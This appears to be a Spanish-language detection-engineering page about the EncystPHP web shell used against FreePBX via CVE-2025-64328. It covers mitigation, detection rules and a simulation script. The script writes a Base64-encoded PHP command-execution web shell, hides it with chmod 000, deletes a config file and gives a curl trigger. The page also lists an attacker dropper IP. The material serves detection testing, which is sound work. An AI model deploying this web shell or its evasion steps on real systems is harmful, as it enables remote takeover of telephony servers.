EncystPHP: Web Shell de FreePBX Arma para Compromiso Persistente de Administrador
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
FortiGuard Labs informa sobre un web shell PHP apodado EncystPHP desplegado en instancias expuestas de FreePBX mediante la explotación de CVE-2025-64328. El implante permite la ejecución remota de comandos, provisiona usuarios privilegiados y establece persistencia en capas a través de trabajos cron y cargadores de seguimiento. La actividad está vinculada al grupo INJ3CTOR3 y parece estar dirigida a entornos de telecomunicaciones. Los indicadores publicados incluyen IPs maliciosas, dominios, URLs y múltiples rutas de archivos hostiles.
Investigación
Los investigadores rastrearon el acceso inicial a una vulnerabilidad de inyección de comandos post-autenticación en FreePBX Endpoint Manager. Tras una explotación exitosa, el operador descarga un dropper desde 45.234.176.202, relaja los permisos en componentes clave de PHP, extrae credenciales de la base de datos, crea una cuenta a nivel de root y añade una clave SSH controlada por el atacante. La persistencia se refuerza con entradas cron que recuperan repetidamente droppers adicionales y actualizan artefactos. EncystPHP también se hace pasar por archivos legítimos de FreePBX y manipula marcas de tiempo para reducir la visibilidad durante el triaje rutinario.
Mitigación
Parché FreePBX Endpoint Manager para abordar CVE-2025-64328 (y cualquier corrección relacionada) tan pronto como sea posible. Busca archivos de web shell no autorizados, cronogramas de cron sospechosos y nuevos usuarios locales privilegiados creados. Bloquea HTTP saliente hacia infraestructuras maliciosas conocidas y aplica permisos estrictos, de menor privilegio, en directorios de cara al público y activos PHP.
Respuesta
Al detectar, aisla el servidor PBX afectado, elimina los artefactos de EncystPHP, purga los trabajos cron no autorizados y restablece las cuentas locales y las claves SSH. Revisa logs y copias de seguridad de configuración para determinar cambios, luego aplica actualizaciones de seguridad actuales y fortalece la interfaz web. Valida que no quedan droppers secundarios o mecanismos de persistencia antes de restaurar las operaciones normales de telefonía.
Flujo de Ataque
Detecciones
Posible Nueva Cuenta para Persistencia [Linux] (via cmdline)
Ver
Archivo Cron Fue Creado (via file_event)
Ver
Descargas a Carpetas Sospechosas (via cmdline)
Ver
Posible Intento de Descubrimiento de Hosts Conocidos de SSH [MacOS] (via cmdline)
Ver
Posible Manipulación de Cadenas Codificadas en Base64 (via cmdline)
Ver
IOCs (DestinationIP) para detectar: Descubriendo el Web Shell Arma EncystPHP Un Web Shell Persistente de FreePBX que Permite Compromiso Administrativo a Largo Plazo
Ver
IOCs (HashSha256) para detectar: Descubriendo el Web Shell Arma EncystPHP Un Web Shell Persistente de FreePBX que Permite Compromiso Administrativo a Largo Plazo
Ver
IOCs (SourceIP) para detectar: Descubriendo el Web Shell Arma EncystPHP Un Web Shell Persistente de FreePBX que Permite Compromiso Administrativo a Largo Plazo
Ver
Detectar Entradas de Crontab para Descarga Persistente de k.php y Dropper c [Creación de Procesos en Linux]
Ver
Despliegue y Persistencia de Web Shell EncystPHP a través de CVE-2025-64328 [Creación de Procesos en Linux]
Ver
Detección de Actividad de Web Shell EncystPHP en FreePBX [Evento de Archivo en Linux]
Ver
Ejecución de Simulación
Prerequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.
Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
- Subir el web shell EncystPHP – El atacante elabora una carga útil PHP codificada en Base64 y la entrega a través de un HTTP POST a la interfaz web de FreePBX, causando que el archivo
ajax.phpse escriba en/var/www/html/admin/views/ajax.php. - Establecer permisos restrictivos – Inmediatamente después del despliegue, el atacante ejecuta
chmod 000 ajax.phppara ocultar el shell de usuarios normales y forzar su ejecución bajo la cuenta privilegiada del servidor web (T1222.002). - Eliminar configuración crítica – Para deteriorar la detección y forzar al sistema a recargar con el shell malicioso, el atacante elimina
/etc/freepbx.conf(T1070.004, T1562.001). - Activar el shell – Un simple HTTP GET al recién creado
ajax.phpejecuta la carga útil, estableciendo un shell reverso (T1105, T1059.004).
- Subir el web shell EncystPHP – El atacante elabora una carga útil PHP codificada en Base64 y la entrega a través de un HTTP POST a la interfaz web de FreePBX, causando que el archivo
-
Guion de Prueba de Regresión: El guion reproduce los pasos 1‑3 en un directorio de prueba controlado (
/tmp/freepbx_test) para evitar afectar un sistema de producción.# encystphp_simulation.sh set -euo pipefail # ----- Configurar directorios de prueba (reflejando la disposición de FreePBX) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Crear archivo de configuración ficticio (que será eliminado) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Payload de EncystPHP codificado en Base64 (stub muy pequeño) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Paso 1: Desplegar web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell desplegado en ${WEB_ROOT}/ajax.php" # ----- Paso 2: Permisos restrictivos (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permisos establecidos en 000" # ----- Paso 3: Eliminar archivo de configuración crítico ----- sudo rm -f "${CONFIG_FILE}" echo "Eliminado ${CONFIG_FILE}" # ----- Opcional: activar el shell (simulado) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulación completa. Verifica SIEM para alertas." -
Comandos de Limpieza:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Entorno de prueba limpiado."